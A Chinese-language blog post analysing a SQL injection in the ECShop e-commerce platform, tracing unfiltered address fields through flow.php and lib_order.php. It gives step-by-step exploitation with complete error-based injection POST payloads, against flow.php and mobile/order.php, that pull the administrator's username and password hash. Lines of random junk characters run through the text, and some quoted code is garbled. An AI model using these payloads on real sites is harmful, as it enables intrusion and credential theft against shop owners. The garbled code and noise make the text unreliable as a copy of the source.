ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

$ _1 |- l2 `3 q7 L    漏洞关键文件：
3 S4 d4 ?/ v( O% E' x
9 ^9 G! L. J& z7 n6 J    /includes/lib_order.php
" @! H6 X" H( O, S- X! ]  G7 O
    关键函数：
5 V) T0 V* u/ n" m; q* G


01     function available_shipping_list($region_id_list)

02 {
& N7 P# k) k9 e5 L
7 v/ A- W1 U; H: q8 K3 R" \( a03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

- n/ V, q" H' V06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
+ }. f1 S3 Q. t5 i" W4 n, W+ g- @# @
3 p# a/ I. G& t2 I+ u% b07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
6 d* A( n2 J! R7 u0 P
08             'WHERE r.region_id ' . db_create_in($region_id_list) .

# J" |3 R. b) o5 y09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
( U( K; G( t' u5 I; ^
6 x: V( E2 A( V" B: `" ?$ h10   

. Z5 n, i9 o5 z4 X5 B% Y. X11     return $GLOBALS['db']->getAll($sql);
" Y5 N) u" D5 p2 ~
# F# ?# b" S6 w; L12 }
; w; }) ^/ D+ |5 _" z4 s
4 W4 k1 c+ ~6 m' q8 i; C4 o5 u显然对传入的参数没有任何过滤就带入了查询语句。
9 x, y% P4 P6 f
下面我们追踪这个函数在flow.php中：
0 m9 b! b* f+ _) F3 s& G! W 第531行：   
; B- T) H" f, M6 R4 v+ K" p
- j3 b5 {& G  d! J1 $shipping_list     = available_shipping_list($region);
1 ~$ d% c) a- `' r, r& z' y

, o* M0 p+ m2 m( o) w  h


  J5 _2 }$ D2 D' s, @- P6 {+ P再对传入变量进行追踪：
8 W8 Z* [  w  ^" I8 @7 Q+ N
/ c1 h# w. X# n第530行：   
5 h& c  G* W/ L
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
' E! X8 U" J/ X/ w% r7 U
6 {) x& p1 r* U5 B" `
) h5 X0 \/ K5 x5 h& p
5 h) A+ |- @3 d7 M
  Y# U9 M& G7 H# J! {
  Y' {2 B1 n8 I第473行：        
6 Z2 l- m2 l2 B: o* E# D- S
3 h3 q" q5 b* b. F9 S; W. r/ P1 $consignee = get_consignee($_SESSION['user_id']);
$ J$ p' F, _6 g# u
到了一个关键函数：

/includes/lib_order.php
/ a! f2 F1 A% {. n7 d
# W9 l) y: E! C' m6 ^/ ]# ~
( l* h+ C) F) d8 Z2 R
& W/ B1 J/ W/ f5 U. x% ?; d+ I* P4 ]
" X+ b* ^! o( ^- T
01 function get_consignee($user_id)
8 W7 ~$ }: x9 ?: V/ D
02 {

7 U$ @" l$ y, _) X3 n; `2 |! f03     if (isset($_SESSION['flow_consignee']))
1 d7 m, q; G4 k4 a; M# J
04     {
, d8 I5 P; c1 b" v
+ Q" J. l+ c2 O1 h; m$ ?05         /* 如果存在session，则直接返回session中的收货人信息 */
8 F* g( e5 y0 L( e
06   
; Y- o- R! A- M) N; N
07         return $_SESSION['flow_consignee'];
# b' T; r3 M3 W0 ]$ B
" ?4 |/ U! ?" r9 U08     }
- t# z! @# }% S
09     else
: m% g% W! G. \# n( v
) K4 ~5 w& L- u3 m' o% _10     {
9 W2 N+ U6 @8 S- X* m, y8 P9 w
. \- Y/ E# i% h, r. W11         /* 如果不存在，则取得用户的默认收货人信息 */

( [7 O& Z% Z  P/ O! C12         $arr = array();
: o( v/ f/ y, s4 q9 v/ r
13   
0 @% i8 }% \, }9 z5 l" q4 B
0 U2 n2 y/ _( y3 {/ j, I! m. n/ t14         if ($user_id > 0)
: J$ Q% |3 ~7 g- C* L! _4 o
15         {
9 k+ O. @4 s  p/ o( \! J
; j- r8 v& Q$ O, D" q' X( c16             /* 取默认地址 */

8 R' `  `. Z  `17             $sql = "SELECT ua.*".

9 Z) g( ~/ E* C1 Q  B9 e+ }18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
' X# }) a" G* o) `, R
. J6 o: Q& [5 T5 ]2 ?8 w3 [: b19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

; U) G2 v  S2 j3 N8 h20   

21             $arr = $GLOBALS['db']->getRow($sql);
0 `; ?0 H9 O2 q  y9 N: @
22         }
8 y' }' Q- D% t3 y  ~
! I  U: F5 |: I- \; g23   

' r2 G- Z- R2 J5 x5 \; l- ^24         return $arr;

' d4 c; ]" C2 o9 g3 [* i. r25     }

$ ?9 y9 U! \% H1 a26 }
& L' F; Z9 A- B* R) J
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

) x. \3 v$ E7 c# g' N. B9 [5 C

) W9 w6 h2 J6 |1 t" _' B  A0 T关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。
( N3 |& x# B# T1 H$ T
) v0 n4 d/ }9 d# G4 |2 T

然后看下：
) ]3 s6 w5 T1 [; u/ F


   
4 o/ E: P& z* O5 s* N( H
01 $consignee = array(

) a8 P* o& R4 d02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
( N8 M1 i7 F, F: C& Q2 R/ n
) T( ?1 M1 V: u, L03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
- k0 L: O1 H' c) `' a
3 {3 q* O/ T! e# S$ U; d% w04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

9 a6 j/ V) e; x6 S' G05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
% V/ N- J" j2 O/ P5 h7 S
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
+ r. E) h6 U: m7 g* d9 n- ^' y
$ Q; P+ h2 V9 k07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

. D, c( v3 Z# Z& u: W, {$ Y: q, u" `) W08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
& z+ g& w" ?0 O7 i" A
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

( Y5 U5 _7 J% L1 J9 _. c10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

5 [) d0 b7 p; B' U" n# R$ N11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
; D5 t! ?+ V7 h3 v" r
, b5 w- e; }' B7 R! L) k+ O; ~13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
% m4 D) K) L' |; n, h: A  t
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

' p2 E$ U. A' }! h好了注入就这样出现了。
9 I4 h# n' L' d  N" I/ s
4 o9 y+ }  r# S* F: u$ ~==================

! ]/ T$ l# A8 V8 Q注入测试：
4 G0 Q$ K8 }9 I) g$ i
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106


3 a7 ~8 P( W1 c$ [% g
) B' B  `$ O. A1 r/ d1.首先需要点击一个商品加入购物车
8 Y5 j2 u5 z6 M8 C( Z- S3 a1 A% k
2.注册一个会员帐号
$ L$ z+ ?/ L2 ~9 {3 L
7 J) [; ~: c  p4 W2 O+ f; U3.post提交数据


6 L8 V0 s5 O0 O. h4 L
1 http://127.0.0.1/ecshop/flow.php

2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
) ~1 D' T8 e" z( e! t举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()
3 A4 B7 v: u" @
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
+ _9 W$ t) C- j9 v: f
$ G: P) U, s1 b% q利用exp:
2 g# W/ _& I5 o
1.点击一个商品，点击购买商标

) ~; r: _4 o9 A2.登录会员帐号
' y: c6 N# H5 L6 l' t# E
3.post提交：

! q0 T+ u: h2 Y, P" g* ~http://127.0.0.1/ecshop/mobile/order.php
3 r3 D% E8 g7 l1 z
" j( h3 L7 o$ W/ t

country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
$ H  w0 C+ w3 p6 t4 q: k8 e
" F+ f/ f  m/ |